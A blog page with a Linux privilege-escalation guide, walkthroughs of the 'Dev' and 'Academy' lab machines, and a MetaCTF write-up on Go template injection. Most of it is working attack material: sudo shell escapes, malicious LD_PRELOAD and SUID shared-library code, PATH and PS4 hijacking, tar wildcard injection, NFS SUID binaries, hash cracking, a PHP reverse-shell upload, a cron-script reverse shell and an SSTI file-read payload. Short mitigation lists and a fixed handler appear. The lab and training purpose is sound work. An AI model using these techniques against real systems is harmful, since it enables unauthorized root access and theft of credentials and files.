Friday, February 13, 2026

Understanding Linux Privilege Escalation: Techniques, Risks, and Defenses

 

Linux Privilege Escalation

A Complete Guide to Escalation Techniques and Exploitation Methods

Introduction

Privilege escalation is a critical phase in penetration testing and security assessments. Once initial access is gained to a Linux system, the next objective is often to escalate privileges from a low-privileged user to root. This comprehensive guide explores various privilege escalation techniques, from sudo abuse to SUID exploitation, cron job manipulation, and NFS misconfiguration.

Understanding these techniques is essential for both offensive security professionals conducting authorized penetration tests and defensive security teams hardening their systems against such attacks. Each method demonstrated here represents a real-world vulnerability that, when properly secured, significantly improves system security posture.

Covered Techniques

  1. Sudo Exploitation (Shell Escaping)
  2. Sudo Abuse (Intended Functionality)
  3. Sudo LD_PRELOAD Exploitation
  4. SUID Shared Object Injection
  5. SUID Symlink Exploitation
  6. SUID Environment Variable Manipulation
  7. Linux Capabilities Abuse
  8. Cron Job Exploitation (PATH, Wildcards, File Overwrite)
  9. NFS Root Squashing

1. Sudo Exploitation - Shell Escaping

Concept Overview

Shell escaping exploits programs that can be run with sudo privileges but allow command execution or shell access. Many legitimate programs include functionality to execute system commands, and when run with sudo, these commands execute with root privileges. Common vulnerable programs include text editors, file utilities, and scripting tools.

Detection

First, check which programs can be run with sudo:

sudo -l

This command lists all programs the current user can execute with sudo privileges. Look for programs known to allow shell escaping, such as find, awk, vim, nmap, less, more, man, and others.

Exploitation Methods

Method A: Using find command

sudo find /bin -name nano -exec /bin/sh \\;

Payload Breakdown:

  • sudo: Executes the command with root privileges
  • find /bin -name nano: Searches for a file named 'nano' in /bin directory (can be any existing file)
  • exec /bin/sh \\;: Executes /bin/sh (shell) for each found file, granting a root shell
  • \\;: Terminates the -exec command (backslash escapes the semicolon)

Method B: Using awk command

sudo awk 'BEGIN {system("/bin/sh")}'

Payload Breakdown:

  • awk: Text processing utility commonly used for data extraction
  • BEGIN: AWK pattern that executes before processing any input
  • system("/bin/sh"): AWK function that executes shell commands, spawning a root shell

Method C: Using nmap command

echo "os.execute('/bin/sh')" > shell.nse && sudo nmap --script=shell.nse

Payload Breakdown:

  • echo "os.execute('/bin/sh')" > shell.nse: Creates an NSE (Nmap Scripting Engine) script that executes a shell
  • os.execute: Lua function used in NSE scripts to execute system commands
  • sudo nmap --script=shell.nse: Runs nmap with the malicious script, executing /bin/sh as root

Method D: Using vim editor

sudo vim -c '!sh'

Payload Breakdown:

  • -c: Vim flag to execute a command upon startup
  • !sh: Vim command to execute shell (! runs external commands), spawning a root shell

2. Sudo Abuse - Intended Functionality

Concept Overview

Some programs, when run with sudo, can be abused through their legitimate functionality to read sensitive files like /etc/shadow. Apache2, for instance, has a debugging mode that displays file contents. By leveraging this feature, attackers can extract password hashes and crack them offline.

Detection

sudo -l

Look for apache2 or similar services that can read arbitrary files.

Exploitation

Step 1: Extract the shadow file hash

sudo apache2 -f /etc/shadow

Payload Breakdown:

  • apache2: Apache web server binary
  • -f /etc/shadow: Specifies configuration file; Apache tries to parse /etc/shadow and displays syntax errors, revealing password hashes

Step 2: Save the hash (on attacker machine)

echo 'root:$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvRDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0:17298:0:99999:7:::' > hash.txt

Step 3: Crack the hash using John the Ripper

john --wordlist=/usr/share/wordlists/nmap.lst hash.txt

Payload Breakdown:

  • john: John the Ripper password cracker
  • -wordlist=/usr/share/wordlists/nmap.lst: Specifies dictionary file for password guessing
  • hash.txt: File containing the extracted password hash

3. Sudo LD_PRELOAD Exploitation

Concept Overview

LD_PRELOAD is an environment variable that specifies shared libraries to load before all others. If sudo is configured to preserve LD_PRELOAD (env_keep+=LD_PRELOAD), attackers can inject malicious shared libraries that execute code with root privileges before the intended program runs.

Detection

sudo -l

Look for output containing: env_keep+=LD_PRELOAD

Exploitation

Step 1: Create malicious shared library

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}

Code Breakdown:

  • _init(): Constructor function automatically executed when the shared library loads
  • unsetenv("LD_PRELOAD"): Removes LD_PRELOAD to prevent infinite loops
  • setgid(0); setuid(0);: Sets group ID and user ID to 0 (root)
  • system("/bin/bash"): Spawns a root shell

Step 2: Compile the shared library

gcc -fPIC -shared -o /tmp/x.so x.c -nostartfiles

Compilation Flags Breakdown:

  • fPIC: Generates Position Independent Code, required for shared libraries
  • shared: Creates a shared library (.so) instead of an executable
  • -o /tmp/x.so: Specifies output file location and name
  • -nostartfiles: Prevents linking with standard startup files (not needed for our constructor)

Step 3: Execute with LD_PRELOAD

sudo LD_PRELOAD=/tmp/x.so apache2

This loads x.so before apache2, triggering the _init() function and spawning a root shell before apache2 even starts.

Step 4: Verify privileges

id

4. SUID - Shared Object Injection

Concept Overview

SUID (Set User ID) binaries run with the permissions of the file owner, not the user executing them. If a SUID binary attempts to load a shared library from a writable directory and the library is missing, we can inject our own malicious library. The binary will execute our code with elevated privileges.

Detection

Step 1: Find SUID binaries

find / -type f -perm -04000 -ls 2>/dev/null

Command Breakdown:

  • find /: Searches from root directory
  • -type f: Only searches for files (not directories)
  • -perm -04000: Finds files with SUID bit set (4000 in octal)
  • 2>/dev/null: Redirects error messages to suppress permission denied errors

Step 2: Trace library calls

strace /usr/local/bin/suid-so 2>&1 | grep -i -E "open|access|no such file"

Command Breakdown:

  • strace: Traces system calls and signals
  • 2>&1: Redirects stderr to stdout for grep processing
  • grep -i -E "open|access|no such file": Filters for file opening attempts, especially missing files

Exploitation

Step 1: Create the writable directory

mkdir /home/user/.config

Step 2: Create malicious library code

#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject() {
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}

Code Breakdown:

  • __attribute__((constructor)): Marks inject() to run automatically when library loads
  • cp /bin/bash /tmp/bash: Copies bash to /tmp
  • chmod +s /tmp/bash: Sets SUID bit on the copied bash
  • /tmp/bash -p: Executes bash in privileged mode (-p preserves SUID privileges)

Step 3: Compile the malicious library

gcc -shared -o /home/user/.config/libcalc.so -fPIC /home/user/.config/libcalc.c

Compilation Breakdown:

  • -shared: Creates shared library
  • -fPIC: Position Independent Code for shared libraries
  • libcalc.so: Output filename matches the missing library detected by strace

Step 4: Trigger the SUID binary

/usr/local/bin/suid-so

When executed, the SUID binary loads our malicious libcalc.so, running inject() with root privileges and spawning a root shell.

5. SUID - Symlink Exploitation

Concept Overview

Certain vulnerable versions of services like nginx have race condition vulnerabilities in their log rotation mechanisms. By creating a symbolic link from a log file to /etc/shadow and timing it with logrotate execution, attackers can trick the service into making /etc/shadow world-readable, exposing password hashes.

Detection

dpkg -l | grep nginx

Check if nginx version is below 1.6.2-5+deb8u3 (vulnerable versions).

Exploitation

Terminal 1: Setup (as www-data user)

su root
su -l www-data
/home/user/tools/nginx/nginxed-root.sh /var/log/nginx/error.log

Script Breakdown:

  • nginxed-root.sh: Exploitation script that creates symbolic links and waits for logrotate to change permissions

Terminal 2: Trigger logrotate

su root
invoke-rc.d nginx rotate >/dev/null 2>&1

Command Breakdown:

  • invoke-rc.d: Debian/Ubuntu command to manage init scripts
  • nginx rotate: Triggers log rotation, causing the race condition vulnerability

After rotation completes, /etc/shadow becomes readable, allowing hash extraction for offline cracking.

6. SUID - Environment Variable Manipulation

Concept Overview

If a SUID binary executes system commands without using absolute paths, attackers can manipulate the PATH environment variable to execute malicious code. By placing a trojan program earlier in PATH, the SUID binary will execute our code instead of the intended command, running it with elevated privileges.

Detection

Step 1: Find SUID binaries

find / -type f -perm -04000 -ls 2>/dev/null

Step 2: Analyze binary for vulnerable function calls

strings /usr/local/bin/suid-env

Command Breakdown:

  • strings: Extracts printable strings from binary, revealing function names and commands

Look for calls to system commands without absolute paths (e.g., 'service' instead of '/usr/sbin/service').

Exploitation

Method #1: PATH Hijacking

Step 1: Create malicious program

echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/service.c

Code Breakdown:

  • setgid(0); setuid(0);: Sets privileges to root (UID/GID 0)
  • system("/bin/bash"): Spawns root shell

Step 2: Compile the trojan

gcc /tmp/service.c -o /tmp/service

Step 3: Hijack PATH

export PATH=/tmp:$PATH

Command Breakdown:

  • export PATH=/tmp:$PATH: Prepends /tmp to PATH, making our trojan found first before legitimate binaries

Step 4: Execute SUID binary

/usr/local/bin/suid-env

Exploitation Method #2: Function Injection

For binaries using absolute paths, we can create a malicious bash function:

function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }

Function Breakdown:

  • function /usr/sbin/service(): Creates bash function with same name as the system command (including full path)
  • cp /bin/bash /tmp && chmod +s /tmp/bash: Creates SUID copy of bash
export -f /usr/sbin/service

Command Breakdown:

  • export -f: Exports the function so child processes (SUID binary) can access it
/usr/local/bin/suid-env2

Exploitation Method #3: PS4 Exploitation

Advanced technique using bash debugging variables:

env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp && chown root.root /tmp/bash && chmod +s /tmp/bash)' /bin/sh -c '/usr/local/bin/suid-env2; set +x; /tmp/bash -p'

Payload Breakdown:

  • env -i: Starts with clean environment
  • SHELLOPTS=xtrace: Enables bash debugging mode
  • PS4='$(...)': Sets debug prompt to execute commands (creates SUID bash)
  • /tmp/bash -p: Executes SUID bash in privileged mode

7. Linux Capabilities Abuse

Concept Overview

Linux capabilities break root privileges into distinct units that can be independently enabled or disabled. The cap_setuid capability allows a process to manipulate user IDs. If granted to interpreters like Python, attackers can set UID to 0 (root) and spawn privileged shells without needing SUID binaries.

Detection

getcap -r / 2>/dev/null

Command Breakdown:

  • getcap: Displays file capabilities
  • -r /: Recursively searches from root directory
  • 2>/dev/null: Suppresses permission errors

Look for cap_setuid on interpreters (python, perl, ruby) or other binaries.

Exploitation

/usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")'

Payload Breakdown:

  • -c: Executes Python code from command line
  • import os: Imports OS module for system calls
  • os.setuid(0): Sets user ID to 0 (root) using cap_setuid capability
  • os.system("/bin/bash"): Spawns bash shell with root privileges

8. Cron Job Exploitation

Concept Overview

Cron jobs are scheduled tasks that run automatically at specified intervals. When cron jobs run as root but use writable scripts or misconfigured PATH variables, attackers can inject malicious code that executes with root privileges. Three primary exploitation vectors exist: PATH manipulation, wildcard abuse, and file overwriting.

Method A: PATH Manipulation

Detection:

cat /etc/crontab

Check if PATH includes writable directories (like /home/user) before system directories.

Exploitation:

> echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
> chmod +x /home/user/overwrite.sh

Script Breakdown:

  • cp /bin/bash /tmp/bash: Copies bash to temporary directory
  • chmod +s /tmp/bash: Sets SUID bit (runs with owner's privileges)
  • **chmod +x**: Makes script executable

Wait for cron to execute, then:

/tmp/bash -p

Command Breakdown:

  • -p: Privileged mode; prevents bash from dropping SUID privileges

Method B: Wildcard Exploitation

Detection:

cat /etc/crontab
cat /usr/local/bin/compress.sh

Look for scripts using wildcards (*) with commands like tar, rsync, or chown.

Exploitation:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/runme.sh
touch /home/user/--checkpoint=1
touch /home/user/--checkpoint-action=exec=sh\\ runme.sh

Exploitation Breakdown:

  • runme.sh: Script containing our malicious payload
  • --checkpoint=1: Tar option interpreted as filename; creates checkpoint every 1 record
  • --checkpoint-action=exec=sh runme.sh: Executes our script at checkpoint; backslash escapes the space

When tar processes these files with wildcard, it interprets filenames as command-line options, executing our script with root privileges.

After cron execution:

/tmp/bash -p

Method C: File Overwrite

Detection:

cat /etc/crontab
ls -l /usr/local/bin/overwrite.sh

Check if cron script has world-writable permissions or is owned by current user.

Exploitation

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >> /usr/local/bin/overwrite.sh

Command Breakdown:

  • >>: Appends to file (preserves existing content to avoid breaking script)

Wait for execution, then:

/tmp/bash -p

9. NFS Root Squashing

Concept Overview

NFS (Network File System) allows sharing directories across networks. By default, NFS uses 'root squashing' to map remote root users to nobody for security. However, when no_root_squash is enabled, remote root users maintain root privileges. Attackers can mount these shares, create SUID binaries as root on their machine, and execute them on the target for privilege escalation.

Detection (Target System)

cat /etc/exports

Look for shares with no_root_squash option, indicating root privileges are preserved.

Exploitation (Attacker Machine)

Step 1: Enumerate NFS shares

showmount -e <IP address>

Command Breakdown:

  • showmount: Queries NFS server for export information
  • -e: Displays export list (shared directories)

Step 2: Mount the NFS share

mkdir /tmp/1
mount -o rw,vers=2 10.48.164.145:/tmp /tmp/1

Mount Options Breakdown:

  • -o rw: Mounts with read-write permissions
  • vers=2: Specifies NFS version 2 (may need adjustment based on target)

Step 3: Create malicious executable

echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/1/x.c

Code Breakdown:

  • setgid(0); setuid(0);: Sets privileges to root
  • system("/bin/bash"): Spawns shell

Step 4: Compile with SUID

gcc /tmp/1/x.c -o /tmp/1/x
chmod +s /tmp/1/x

Command Breakdown:

  • chmod +s: Sets SUID bit; as root on attacker machine, the file becomes owned by root with SUID

Step 5: Execute on target

/tmp/x

Because no_root_squash is enabled, the SUID binary created by root on the attacker machine executes with root privileges on the target system, spawning a root shell.

Defense and Mitigation Strategies

Sudo Hardening

  • Minimize sudo privileges; use specific commands with NOPASSWD sparingly
  • Remove env_keep+=LD_PRELOAD from sudoers configuration
  • Regularly audit sudo rules with sudo -l as different users
  • Avoid granting sudo access to interpreters and text editors

SUID/SGID Management

  • Minimize SUID binaries; remove unnecessary ones
  • Regularly audit SUID files with find / -perm -4000
  • Use absolute paths in SUID programs
  • Implement file integrity monitoring for SUID binaries

Capabilities Control

  • Regularly audit capabilities with getcap
  • Never grant cap_setuid to interpreters or compilers
  • Use capabilities sparingly; prefer traditional permissions

Cron Job Security

  • Set secure PATH in crontab; exclude user-writable directories
  • Make cron scripts readable/executable only by root
  • Avoid wildcards in cron scripts; use explicit file lists
  • Use absolute paths for all commands in cron scripts

NFS Security

  • Never use no_root_squash unless absolutely necessary
  • Restrict NFS access with firewall rules
  • Use NFSv4 with Kerberos authentication
  • Limit exports to specific IP addresses or subnets

Additional Resources

  • GTFOBins: https://gtfobins.github.io/ - Database of Unix binaries for privilege escalation
  • LinPEAS: Automated Linux privilege escalation enumeration script
  • Linux Privilege Escalation Checklist by g0tmi1k
  • TryHackMe Linux PrivEsc Room: Hands-on practice environment
  • HackTheBox Academy: Linux privilege escalation modules
  • PayloadsAllTheThings: Comprehensive payload repository
Share:

Friday, February 6, 2026

Dev Machine Walkthrough — Practical Pentesting Journey from Recon to Root

The Dev machine

The Dev machine blends web exploitation, file share enumeration, and privilege escalation into one smooth learning curve.
Let me walk you through how this system was compromised step by step. Along the way, I’ll explain the reasoning. 


Reconnaissance

The first step was identifying running services on the target machine. Performed full port scan using Nmap. The scan revealed the following open ports:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open http Apache httpd 2.4.38 ((Debian))
111/tcp open rpcbind 2-4 (RPC #100000)
2049/tcp open nfs 3-4 (RPC #100003)
8080/tcp open http Apache httpd 2.4.38 ((Debian))
_http-title: PHP 7.3.27-1~deb10u1 - phpinfo()

The system was running OpenSSH 7.9 and Apache 2.4.38 on Debian, confirming a Linux environment. Since SSH required authentication, enumeration focused on web services.

SSH required credentials, so attacking it directly would be pointless… at least for now. That pushed the focus toward web services.

Web Enumeration

Port 80

Opening the website displayed a Bolt CMS installation error page, indicating the presence of Bolt and possible configuration files.

The current folder, /var/www/html/, is a Linux folder, and based on this information, it appears that the machine is running Linux. 


Port 8080

Displayed a PHP info page, which revealed server configuration details and internal paths useful for further enumeration.


Directory Fuzzing

Directory fuzzing helps uncover endpoints developers forget to secure. Using the FuFF tool made this process fast and reliable.
> fuff -w <wordlist_location>:FUZZ -u http://<targetIP>/FUZZ


Fuzzing both ports revealed several directories:

  • public
  • src
  • app
  • dev

The /dev directory hosted a BoltWire application. The registration module was enabled, allowing account creation and access to application features.

BoltWire Vulnerability

Researching BoltWire revealed it had a known Local File Inclusion (LFI) vulnerability tied to the print parameter.

Endpoint : http://192.168.22.8:8080/dev/index.php?p=action.search&action=print

By adjusting the request, the /etc/passwd file became accessible. That file exposed a valid system user jeanpaul

The archive contents were extracted and used for further correlation. 
But that wasn’t the only discovery. Several directories also allowed directory listing, exposing configuration files and application details.

NFS Enumeration

Port 2049 indicated the presence of Network File System (NFS). If misconfigured, NFS can expose sensitive data without authentication. 
NFS is a protocol that allows systems to share, mount, and access the files over the network. 

showmount is a tool to see which directories the server has and who is allowed to access them.

Command - > showmount -e <target_IP>
using namp
Command - > nmap -p 2049 --script nfs-ls,nfs-showmount,nfs-statfs <target_ip>

The showmount tool result revealed a shared directory: /srv/nfs.

Use the Linux built-in mount tool using the below command and look for the available file.

> mount -t nfs 192.168.22.8:/srv/nfs </tmp/nfs_mount>

Inside the share sat a file named save.zip. It looked harmless… Zip files in shared directories, however, are rarely harmless.

Cracking the ZIP File

Attempting to unzip the file required a password. Instead of guessing randomly, the fcrackzip tool helped automate the process using a wordlist.

> fcrackzip -v -u -D -p <location>/rockyou.txt save.zip

-v - Verbose mode
-u - Unzip - try to unzip the file with the password
-D - Dictionary mode.
-p - The path to the the list rockyou.txt
save.zip - the target. 

Discovered password: java101
The archive contents were extracted and used for further correlation.

Configuration Files

An earlier directory listing revealed a configuration file:

app/config/config.yml

Opening this file exposed credential details. These credentials were tested against SSH.

SSH Access - Stepping Inside the System

The password itself didn’t grant direct access, but it worked with an id_rsa private key belonging to the user jeanpaul.
Private keys bypass password authentication and allow secure SSH login.

Using the private key:

ssh -i id_rsa jeanpaul@192.168.22.8

Access was successful. Now the focus shifted to privilege escalation, the phase where attackers attempt to gain root access.

Sudo permissions were checked

sudo -l

showed that the user could run /usr/bin/zip with root privileges without needing a password.

GTFOBins Escalation - Turning Zip into a Root Shell

Some programs, including zip, allow execution of system commands while running. If such a program runs as root → the command you execute also runs as root.

This is known as a GTFOBins privilege escalation technique.

> sudo zip /tmp/test.zip /tmp -T --unzip-command="sh -c /bin/bash"
  • sudo - executes the command as root
  • zip - starts executing with root privileges
  • -unzip-command - forces zip to execute a shell
  • /bin/bash - The shell command.

This executed a root shell and completed system compromise.

Just navigate to the flag.txt file, and Game Over. 

Machines like Dev highlight several real-world security mistakes:

  • Debug pages should never remain publicly accessible
  • Directory listing exposes sensitive files faster than most exploits
  • NFS shares require strict access control
  • Configuration files often leak credentials
  • Sudo permissions must be tightly restricted

Interestingly, none of the individual vulnerabilities felt devastating alone. But together? They created a full compromise chain. 

Happy Hacking!! 

Share:

Wednesday, February 4, 2026

Academy Walkthrough: A Study in Chaining Misconfigurations to Root Access

Academy

In this walkthrough of the "Academy" machine, we explore how a forgotten note, weak encryption, and improper file permissions can lead to a complete system takeover. Deep Log Analysis is used to uncover clear text credentials, and SUDO Exploitation is used to escalate privileges to the highest level.

Tools: nmap, ffuf, hash-identifier, Hashcat, Linpeas.

Level: Intermediate level

Enumeration

Started with a standard Nmap scan to identify open ports and services.

nmap -A -p- -T4 <machine_IP>

Nmap result:

21/tcp open  ftp     vsftpd 3.0.3 
ftp-anon: Anonymous FTP login allowed. note.txt
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.38 ((Debian)) anonymous

Key Findings

  • Port 21 (FTP): vsftpd 3.0.3 is running with anonymous login allowed. The scan revealed an interesting file named note.txt, which is our primary point of interest.
  • Port 22 (SSH): OpenSSH is exposed, suggesting we might find credentials later to log in.
  • Port 80 (HTTP): A standard Apache web server is running. If FTP hits a dead end, it will enumerate web directories here.

Why investigate FTP first?

Anonymous FTP access is a legacy configuration that administrators frequently overlook. It frequently overlooks the legacy configuration that allows anonymous FTP access. It frequently contains files—backups, notes, or configuration scripts—that were intended to be temporary but were never removed.

> ftp <machine IP>


After successfully logging in with FTP, try to access the note.txt file.

Anonymous FTP access turned out to be very informative. Inside, we found note.txt, which contained an SQL INSERT statement intended for the backend database.

This file unintentionally leaked a specific user record, identifying StudentRegno (10201321) as our login username and containing a 32-character password hash (cd73502828457d15655bbd7a63fb0bc8).

Cracking Weak Cryptography

To crack the password hash, I used the hashcat tool. But first, we need to determine what type of hash it is, so I use the hash-identifier tool.


It confirmed that it’s MD5. To crack this hash, I used Hashcat tool and the rockyou.txt password file with the following command.

> hashcat -m 0 hash.txt <rockyou file location>


Woot! We successfully cracked the hash and now have the password (student) for StudentRegno (10201321).

Web Exploitation.

Okay, so far, so good. According to the nmap response, we also have port 80 open, so navigate to the website using the machine IP and enumerate port 80.

When we visit the website, it receives the default Apache 2 Debian page.


No, as such information appeared on the page, proceed to perform directory fuzzing on the endpoint using the ffuf tool with the following command.

command : fuff -w <wordlist location>:FUZZ -u <url>/FUZZ


This revealed the two directories.
academy, phpmyadmin

Navigating to the /academy directory presented a login page. The cracked credentials (10201321 / student) successfully authenticated the session.


Yahh! Successfully logged in.

Upon accessing the "My Profile" section, it was discovered that the application failed to validate file uploads. This allowed for the upload of malicious PHP files.


let’s upload the .php reverse shell https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php .

Manipulate the shell PHP file and add the attacker's machine IP and update the port, then run the Netcat listener.

After uploading the shell file, access it using the page's view source code feature.


noticed the netcat listener response.

We got a shell, which is great, but not as a root user, as shown by the command whoami, which displays the www-data user rather than the root user.

So now what's next? We need to perform root user privilege escalation, and that's where the fun begins.

I’m going to use the tool LinPEAS (https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS).

Linpease is an automated tool that goes out and does hunting for possible paths to escalate privileges on Linux/Unix*/MacOS hosts.

To use this tool, you need to start the Python server on the linpeas file location.


Using this server, use the wget command to download the linpeas file to the already connected target machine.

To change the file permissions, run the command chmod +x <filename> after successfully loading it on the target machine.


Run the file ./linpease.sh and look at the results.

The critical information and endpoints we received in the response are highlighted in red. One backup.sh file endpoint from the grimmie user has administrative privileges. The second option is password.


Let's see what the var/www/html/academy/includes/config.php endpoint contained.


The file contains the username grimmie and the password "My_V3ryS3cur3_P4ss."

Now, since we already know that the ssh port is open on the machine, let's connect with the following command

> ssh grimmie@<machine_IP>
enter the password : My_V3ryS3cur3_P4ss

Once you've successfully entered the machine, look for the backup.sh file. manipulate the file with nano command and Inject the one-liner Bash reverse shell code with the attacker's machine IP and save the file.


It runs as root, so when the backup.sh script is run, the attacker gains root access.
Now, use the cat and ls commands to find the flag.txt file.

Summary :

Initial Vector: Information disclosure via Anonymous FTP (note.txt).

Access: Cracking the MD5 hash found in the note to access the web application. Foothold: Unrestricted file upload leading to Remote Code Execution (RCE).

Privilege Escalation: Clear-text credentials in PHP config files (Lateral Movement) $\rightarrow$ Exploiting a writable script running with root privileges.

Happy Hacking!!

Share:

Saturday, September 28, 2024

MetaCTF ⚑ Write-Ups

 MetaCTF ⚑

Challenge categories: Web Exploitation

Challenge Name: Library

Challenge Link: https://compete.metactf.com/291/problems

Tools: Manually.

Challenge Description:

In this challenge, we are performing a penetration test on a small book library app built in the Go language that appears to exhibit some abnormal behaviour. The app is designed to process book requests, but certain endpoints return unexpected responses. The objective is to identify the root cause—whether it’s a coding bug, improper input validation, or potentially a security vulnerability in the request handling. This exercise will challenge your ability to analyze code logic and identify security flaws that could compromise the app's functionality or expose it to attacks.

The challenge description contained the source code download link with a live web application to perform the penetration testing.

Application Dashboard:

Open the provided link in the browser to access the library dashboard, where we can find a welcome message and a list of available books. You can also view the details of each book.

Source Code Review:

Download the application's source code using the given link in the challenge description.

The application source code file contained two “.html“ files and one “main.go” file, which contained all the backed code of the application.

The home.html file contains an HTML template snippet that is likely used in a Go (Golang) web application. It dynamically generates a list of books, with each book title rendered as a hyperlink. The syntax {{range .}} indicates the use of Go's templating engine, which is commonly used for web applications built using Go.

<home.html>

In the above image, the <ul> element creates an unordered list that will be dynamically populated with <li> (list items). The {{range.}} syntax is part of Go’s templating system and is used for iterating over a collection. The dot (.) represents the current context passed into the template, which in this case likely refers to a list of book objects. This indicates that the template expects to receive a slice or array of books, with each book being iterated over within the {{range.}} block.

In the range loop, a list item (<li>) is created for each book in the collection.

The <a href="/books?book={{.Param}}">{{.Title}}</a> tag adds a clickable link for each book. The link is used {{.Param}} as a query parameter, which is likely a unique ID or identifier for the book. Inside the link, {{.Title}} displays the book's title as clickable text.

The {{end}} marks the end of the {{range .}} loop, indicating where the iteration stops.

<book.html>

This HTML template is designed to display the content of a single book in a web application. It uses Go templating syntax to dynamically render the book's content inside the <p> tag.

In the above image, the <p> tag is used to display a paragraph of text. {{.}} is Go's template syntax, where the dot (.) refers to the current data passed to the template. In this case, it represents a string of book content. When the page loads, {{.}} will be replaced with the actual content of the book.

The Go file (main.go) is a simple web server application that provides book-related content via Go's HTTP package and templating engine. It defines a ReadBook structure with a method that reads a file's content and returns it as a string while handling any file reading errors.

The application stores a hardcoded map of books (books), with each key-value pair representing a book identifier and description. The application also includes two HTTP handlers: homeHandler, which generates a homepage listing available books using the home.html template, and bookHandler, which retrieves and displays individual book content based on the query parameter book using the book.html template.

<main.go>

Vulnerable Code: The provided Go code is vulnerable to Server-Side Template Injection (SSTI) in the bookHandler function. below the vulnerable part of the code.

This part of the code takes the book query parameter from the URL (userBook) and directly passes it to the template.New("book").Parse() function, without any sanitization or validation.

This can result in template injection if an attacker supplies malicious input through the book parameter. Since Go templates allow for the execution of code within {{ ... }} attacker could potentially inject arbitrary template code that gets executed on the server.

To get the flag from the server, we have to use the constructed below payload.

Payload: /books?book={{.ReadBook%20"flag.txt"}}

In this payload the {{.ReadBook "flag.txt"}} is a Go template syntax where .ReadBook refers to the ReadBook method defined in the application. The injected payload attempts to call the ReadBook method to read a file called "flag.tx".

Exploitation Part:

Step 1. Open the link given in the challenge description.

Step 2. Click on any list data and the URL contains the book parameter which is vulnerable to SSTI. 

Step 3: Inject the crafted payload on the book parameter for the flag.


Mitigation Part

To mitigate the SSTI risk:

Remove Dynamic Parsing: Never send user input directly to the template parser.

Validate Input: Use only predefined values (such as book IDs) in the template and reject any untrusted or unexpected entries.

Fixed Code for bookHandler function

func bookHandler(w http.ResponseWriter, r *http.Request) {
    userBook := r.URL.Query().Get("book")
    bookContent, validBook := books[userBook]

    if validBook {
        tmpl := template.Must(template.ParseFiles("templates/book.html"))
        tmpl.Execute(w, bookContent)
        return
    }

    http.Error(w, "No valid book specified", http.StatusBadRequest)
}

    • Removed Dynamic Template Parsing: The template.New("book").Parse(userBook) section has been removed to avoid processing untrusted input.
    • Only Predefined Books: The code now only renders templates for books that exist in the books map, preventing arbitrary template execution.

    Reference: Server-side template injection: https://portswigger.net/web-security/server-side-template-injection

    HackTricks: https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#ssti-in-go

    Payatu : https://payatu.com/blog/ssti-in-golang/

    w3school : https://www.w3schools.com/go/

    _____________________________________________________________________
    Connect: LinkedIn: https://www.linkedin.com/in/sudeeplamsoge/

    Twitter : https://x.com/SudeepLamsoge

    Comments & Suggestions are always welcome. :)

    Share: